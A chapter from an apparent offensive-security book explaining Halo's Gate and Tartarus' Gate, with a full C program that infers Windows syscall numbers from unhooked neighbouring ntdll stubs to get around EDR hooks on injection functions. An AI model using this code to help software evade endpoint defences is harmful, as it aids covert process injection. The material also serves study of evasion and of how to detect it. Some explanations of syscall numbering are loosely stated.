Chapter 42

Halo's Gate

Hell's Gate reads the SSN from ntdll's function stub — but it fails when the EDR has hooked that stub with an inline JMP (replacing the mov eax, SSN bytes). The first bytes are now a JMP opcode, not the expected B8. Halo's Gate (by Sektor7 Institute) extends Hell's Gate to handle this case: if the target function is hooked, it scans the adjacent functions in the EAT (Export Address Table). Windows assigns SSNs in sequential order to the Nt* functions as they appear in the EAT sorted by address. If NtAllocateVirtualMemory is hooked, then NtAlertResumeThread (its alphabetical neighbor in the EAT) might be unhooked — and its SSN is exactly one less or one more. By finding the delta, you infer the target's SSN without reading it directly.

The Adjacent SSN Inference Principle

SSN assignment order and neighboring inference
  Windows assigns SSNs to Nt* functions sorted by address in ntdll:
  ─────────────────────────────────────────────────────────────────────────
  (Not alphabetically — by RVA order in the PE, which is compilation order)
  
  Example (simplified, Windows 10):
    RVA order    Function                       SSN
    ─────────────────────────────────────────────────
    0x001000     NtAcceptConnectPort            0x0000
    0x001020     NtAccessCheck                  0x0001
    0x001040     NtAccessCheckAndAuditAlarm     0x0002
    ...
    0x010000     NtAllocateVirtualMemory        0x0018
    0x010020     NtAllocateVirtualMemoryEx      0x0019
    0x010040     NtAlpcAcceptConnectPort        0x001A
    ...
    0x040000     NtCreateThreadEx               0x00C7
  
  Key insight: SSNs are consecutive by RVA position.
  If NtCreateThreadEx (SSN=0x00C7) is hooked, then:
    • The function just before it in RVA order has SSN 0x00C6
    • The function just after it has SSN 0x00C8
  
  Halo's Gate algorithm:
  ─────────────────────────────────────────────────────────────────────────
  1. Find target function in EAT (by name), get its RVA
  2. Try to read SSN from target stub → FAIL (hooked)
  3. Walk the EAT functions sorted by RVA:
     For each neighbor (n-1, n-2, n+1, n+2, ...):
       Try to read SSN from neighbor stub
       If CLEAN: return neighbor_SSN ± delta
  4. The delta = number of positions away from the target

Implementation

/* halos_gate.c — Extended SSN resolution when target function is hooked
   
   When Hell's Gate fails (hooked stub), scans neighboring ntdll exports
   and infers the target SSN from sequential SSN assignment.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o halos_gate.exe halos_gate.c
*/

#include <windows.h>
#include <stdio.h>

/* ── Read SSN from an unhooked stub ──────────────────────────────────── */
/* Returns 0xFFFFFFFF if the stub is hooked (doesn't match expected pattern) */
static DWORD read_ssn_from_stub(PVOID stub_addr) {
    PBYTE b = (PBYTE)stub_addr;
    /*
     * Unhooked pattern: 4C 8B D1  B8 ?? ?? ?? ??  0F 05  C3
     *                   mov r10,rcx  mov eax,SSN  syscall  ret
     */
    if (b[0] == 0x4C && b[1] == 0x8B && b[2] == 0xD1 && b[3] == 0xB8) {
        return *(DWORD *)(b + 4);  /* the SSN immediate */
    }
    return 0xFFFFFFFF;  /* hooked or unexpected pattern */
}

/* ── Halo's Gate: infer SSN from neighbors ───────────────────────────── */
static DWORD halos_gate_resolve(const char *target_func) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PBYTE base = (PBYTE)hNtdll;

    /* Parse EAT */
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(base + dos->e_lfanew);
    DWORD eat_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)(base + eat_rva);

    PDWORD  names  = (PDWORD)(base + eat->AddressOfNames);
    PWORD   ords   = (PWORD) (base + eat->AddressOfNameOrdinals);
    PDWORD  funcs  = (PDWORD)(base + eat->AddressOfFunctions);

    /* Step 1: Find target function's index in the name table */
    DWORD target_idx = 0xFFFFFFFF;
    for (DWORD i = 0; i < eat->NumberOfNames; i++) {
        const char *name = (const char *)(base + names[i]);
        if (strcmp(name, target_func) == 0) {
            target_idx = i;
            break;
        }
    }
    if (target_idx == 0xFFFFFFFF) {
        printf("[-] %s not found in EAT\n", target_func);
        return 0xFFFFFFFF;
    }

    /* Step 2: Try to read SSN directly from the target */
    PVOID target_stub = base + funcs[ords[target_idx]];
    DWORD direct_ssn = read_ssn_from_stub(target_stub);
    if (direct_ssn != 0xFFFFFFFF) {
        printf("[+] %s: SSN=0x%04lX (direct read)\n", target_func, direct_ssn);
        return direct_ssn;
    }
    printf("[*] %s is hooked — using Halo's Gate neighbor inference\n", target_func);

    /*
     * Step 3: Scan neighbors by index in the EAT name table.
     * The name table is sorted alphabetically, which is NOT the same as
     * RVA order. However, for Nt* functions, the alphabetical ordering is
     * close to the RVA ordering because Microsoft compiles them in a
     * somewhat alphabetical layout.
     *
     * A more accurate approach: sort all Nt* functions by their RVA value,
     * then find the target's position in the sorted list.
     * For simplicity, we use the name table index with a +/-10 scan window.
     */
    for (int delta = 1; delta <= 10; delta++) {
        /* Check function ABOVE (lower index, lower SSN) */
        if ((int)target_idx - delta >= 0) {
            PVOID neighbor_stub = base + funcs[ords[target_idx - delta]];
            DWORD neighbor_ssn = read_ssn_from_stub(neighbor_stub);
            if (neighbor_ssn != 0xFFFFFFFF) {
                DWORD inferred = neighbor_ssn + delta;
                const char *neighbor_name = (const char *)(base + names[target_idx - delta]);
                printf("[+] Neighbor at -%d (%s): SSN=0x%04lX → target SSN=0x%04lX\n",
                       delta, neighbor_name, neighbor_ssn, inferred);
                return inferred;
            }
        }
        /* Check function BELOW (higher index, higher SSN) */
        if (target_idx + delta < eat->NumberOfNames) {
            PVOID neighbor_stub = base + funcs[ords[target_idx + delta]];
            DWORD neighbor_ssn = read_ssn_from_stub(neighbor_stub);
            if (neighbor_ssn != 0xFFFFFFFF) {
                DWORD inferred = neighbor_ssn - delta;
                const char *neighbor_name = (const char *)(base + names[target_idx + delta]);
                printf("[+] Neighbor at +%d (%s): SSN=0x%04lX → target SSN=0x%04lX\n",
                       delta, neighbor_name, neighbor_ssn, inferred);
                return inferred;
            }
        }
    }

    printf("[-] Could not infer SSN for %s — too many neighbors are also hooked\n",
           target_func);
    return 0xFFFFFFFF;
}

int main(void) {
    printf("=== Halo's Gate SSN Resolver ===\n\n");

    const char *functions[] = {
        "NtAllocateVirtualMemory",
        "NtWriteVirtualMemory",
        "NtCreateThreadEx",
        "NtOpenProcess",
        NULL
    };

    for (int i = 0; functions[i]; i++) {
        DWORD ssn = halos_gate_resolve(functions[i]);
        if (ssn == 0xFFFFFFFF) {
            printf("[!] Failed to resolve %s\n\n", functions[i]);
        } else {
            printf("    → Use SSN 0x%04lX for direct syscall stub\n\n", ssn);
        }
    }
    return 0;
}

Tartarus' Gate — When Neighbors Are Also Hooked

Tartarus' Gate (by trickster0) extends Halo's Gate for the worst case:
when BOTH the target and all nearby neighbors are hooked.

Extended pattern matching:
─────────────────────────────────────────────────────────────────────────
Instead of checking only for the unhooked stub pattern (4C 8B D1 B8 ...),
Tartarus' Gate also handles:

Pattern 1 (unhooked, standard):
  4C 8B D1     mov r10, rcx
  B8 ?? 00 00 00  mov eax, SSN   ← read SSN here
  0F 05        syscall

Pattern 2 (pre-Windows 8 style, still seen on some builds):
  B8 ?? 00 00 00  mov eax, SSN   ← SSN at +1
  BA 00 00 00 00  mov edx, 0
  FF D2        call edx

Pattern 3 (hooked — E9 JMP): skip, try neighbor

Pattern 4 (hooked — FF 25 JMP): skip, try neighbor

For Pattern 2: read SSN from bytes[1] instead of bytes[4]

Additionally, Tartarus' Gate sorts all EAT entries by RVA before
scanning neighbors — this gives accurate sequential SSN ordering
rather than relying on alphabetical proximity.

When ALL functions in the process are hooked:
  Last resort: read ntdll.dll from disk (\KnownDlls or filesystem path)
  Parse the disk copy to find SSNs (the disk version is always unhooked).
  This combines Halo's Gate fallback with the disk-reading approach from Ch39.

Questions & Answers

Why are Windows syscall numbers sequential by RVA position rather than alphabetical?

The Windows kernel assigns SSNs during ntdll.dll compilation. The assignment is based on the order functions appear in the compiled PE's code section (their RVA position in the binary), which reflects the order they were compiled — roughly the order the source files were processed by the compiler. Microsoft's internal naming conventions and project structure tend to group related Nt* functions near each other in source, which creates clusters in both RVA and alphabetical ordering. The key insight is that they're sequential in RVA position: function at RVA 0x1000 gets SSN N, function at RVA 0x1020 gets SSN N+1, and so on. This is why "adjacent in RVA space" is the correct metric, not "adjacent alphabetically." Sorting EAT entries by their function RVA values gives the correct SSN ordering for Halo's/Tartarus' Gate inference.

What if an EDR hooks all Nt* functions — making even the neighbors hooked?

If an EDR hooks all Nt* functions (some aggressive EDRs do hook most of the critical ones), Halo's Gate will fail to find any unhooked neighbor. The fallback options in order of preference: (1) Read from disk — open ntdll.dll from \KnownDlls\ntdll.dll or the system directory and parse the SSN from the clean file on disk. The disk file is always unhooked. (2) Read from a suspended process (Ch40's technique applied to SSN extraction rather than code replacement). (3) Use SysWhispers3 (Ch44) which embeds pre-resolved SSNs at build time using a lookup table with EGG-hunter style detection at runtime. (4) Use a kernel driver (Part 15) that bypasses user-mode entirely. In practice, most EDRs don't hook every Nt* function — they focus on the subset that's injection-relevant. Halo's Gate usually finds unhooked neighbors within 3-4 positions.